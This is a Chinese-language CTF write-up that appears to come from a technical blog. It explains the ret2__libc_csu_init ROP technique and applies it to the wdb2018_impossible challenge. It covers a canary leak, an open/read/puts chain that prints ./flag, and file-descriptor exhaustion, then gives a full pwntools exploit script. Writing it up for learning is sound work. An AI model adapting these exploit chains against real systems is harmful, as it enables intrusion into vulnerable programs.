【八芒星计划】 ret2__libc_csu_init


前言

__libc_csu_init是64位程序中通用的一个函数,这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在,我们要利用其中的gadget

如何寻找init:
在这里插入图片描述
或者在start的rcx里
在这里插入图片描述

rdi <- main
rcx <- __libc_csu_init //在main函数前执行
r8 <- __libc_csu_fini//在main函数后执行

我们要使用的部分
在这里插入图片描述
使用方法:

rbx,rbp,r12,r13,r14,r15 r13–>rdi r14–>rsi r15–>rdx
控制 rbx 为 0,r12 为存储我们想要调用的函数的地址 rbx+1 = rbp, rbx=0, rbp=1
这样我们就不会执行 loc_400600

有时寄存器会有变动,随机应变就好,就好像使用方法和上面的图片对不上一样,因为这是我两道题的笔记

一、wdb2018_impossible

open文件后没有关闭,我们只要耗尽fd,然后就没有读入,然后我们输入\x00就可以过检测了
但由于本题gadget缺少了rdx,所以我们来使用init

def menu(ch):
    sea('Guess your option:', str(ch))
def select1(content):
    menu(1)
    sea('Oh,man.Play with the stack is really dangerous,so u can only play once..', content)
def select2(content, s):
    menu(2)
    sea('Ok, as u r bored, do something boring to make u more bored...', content)
    sea('Satisfied?y/n', s)
def select2_2(content, s):
    sea('Ok, as u r bored, do something boring to make u more bored...', content)
    sea('Satisfied?y/n', s)
def select3(content):
    menu(3)
    se(content)
def fun_9011(content):
    menu(9011)
    sea('Input your secret code:', content)
init1 = 0x400C4A
init2 = 0x400C30
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400c51 # pop rsi ; pop r15 ; ret
bss2 = 0x602080

前置准备

select2('a', 'n')
for i in range(2):
    select2_2('a', 'n')
select2_2('a', 'y')
select1('a'*0xa9)
ru('a'*0xa9)
canary = u64(rc(7).rjust(8,'\x00'))
info('canary', canary)

这里是本题最巧妙的地方,通过之前的栈帧留下的canary来泄漏canary,因为栈帧退出之后并不会直接消失,而是等待覆盖,具体的调试一下就可以懂

p = 'a'*0x8 + p64(canary) + 'b'*0x8 + p64(init1) 
p += p64(0) + p64(1) + p64(elf.got['open']) + p64(0)*2 + p64(0x602080+0x200)
p += p64(init2) + p64(0)*7

p += p64(init1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x200) + p64(bss2+0x300) + p64(0)
p += p64(init2) + p64(0)*7

p += p64(init1) + p64(0) + p64(1) + p64(elf.got['puts']) + p64(0)*2 + p64(bss2+0x300)
p += p64(init2) + p64(0)*7
p = p.ljust(0x200, '\x00')
p += './flag\x00\x00'
select2(p, 'y')

利用init来orw,这里讲一下open的rdi为什么是0而不是3,因为本题最后close(0)了,所以0可以被重新使用
以及为什么要添加p64(0)*7 (0x38)的问题

https://blog.csdn.net/zszcr/article/details/79833898?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase

说白了就是init2执行完之后就会执行init1,然后才会ret,但是init1要add rsp,8,还要pop 6个
所以8+8*6=0x38

for i in range(1024):
    fun_9011('\x00')
r.interactive()

最后耗尽fd即可,一般是1024
完整exp:

from pwn import *
from LibcSearcher import * 

local_file  = './impossible'
local_libc  = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
remote_libc = '/root/glibc-all-in-one/libs/2.27/libc-2.27.so'
 
 
select = 0

if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('', )
    libc = ELF(remote_libc)

elf = ELF(local_file)

context.log_level = 'debug'
context.arch = elf.arch

se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
o_g_32_old = [0x3d0d3, 0x3d0d5, 0x3d0d9, 0x3d0e0, 0x67a7f, 0x67a80, 0x137e5e, 0x137e5f]
o_g_32 = [0x3d123, 0x3d125, 0x3d129, 0x3d130, 0x67b4f, 0x67b50, 0x1380be, 0x1380bf]
o_g_old = [0x4f2c5, 0x4f322, 0x10a38c]
o_g = [0x4f365, 0x4f3c2, 0x10a45c]
def debug(cmd=''):
     gdb.attach(r,cmd)
def menu(ch):
    sea('Guess your option:', str(ch))
def select1(content):
    menu(1)
    sea('Oh,man.Play with the stack is really dangerous,so u can only play once..', content)
def select2(content, s):
    menu(2)
    sea('Ok, as u r bored, do something boring to make u more bored...', content)
    sea('Satisfied?y/n', s)
def select2_2(content, s):
    sea('Ok, as u r bored, do something boring to make u more bored...', content)
    sea('Satisfied?y/n', s)
def select3(content):
    menu(3)
    se(content)
def fun_9011(content):
    menu(9011)
    sea('Input your secret code:', content)
select2('a', 'n')
for i in range(2):
    select2_2('a', 'n')
select2_2('a', 'y')
select1('a'*0xa9)
ru('a'*0xa9)
canary = u64(rc(7).rjust(8,'\x00'))
info('canary', canary)
init1 = 0x400C4A
init2 = 0x400C30
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
pop_rsi_r15 = 0x0000000000400c51 # pop rsi ; pop r15 ; ret
bss2 = 0x602080

p = 'a'*0x8 + p64(canary) + 'b'*0x8 + p64(init1) 
p += p64(0) + p64(1) + p64(elf.got['open']) + p64(0)*2 + p64(0x602080+0x200)
p += p64(init2) + p64(0)*7

p += p64(init1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0x200) + p64(bss2+0x300) + p64(0)
p += p64(init2) + p64(0)*7

p += p64(init1) + p64(0) + p64(1) + p64(elf.got['puts']) + p64(0)*2 + p64(bss2+0x300)
p += p64(init2) + p64(0)*7
p = p.ljust(0x200, '\x00')
p += './flag\x00\x00'
select2(p, 'y')
for i in range(1024):
    fun_9011('\x00')
r.interactive()

总结

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值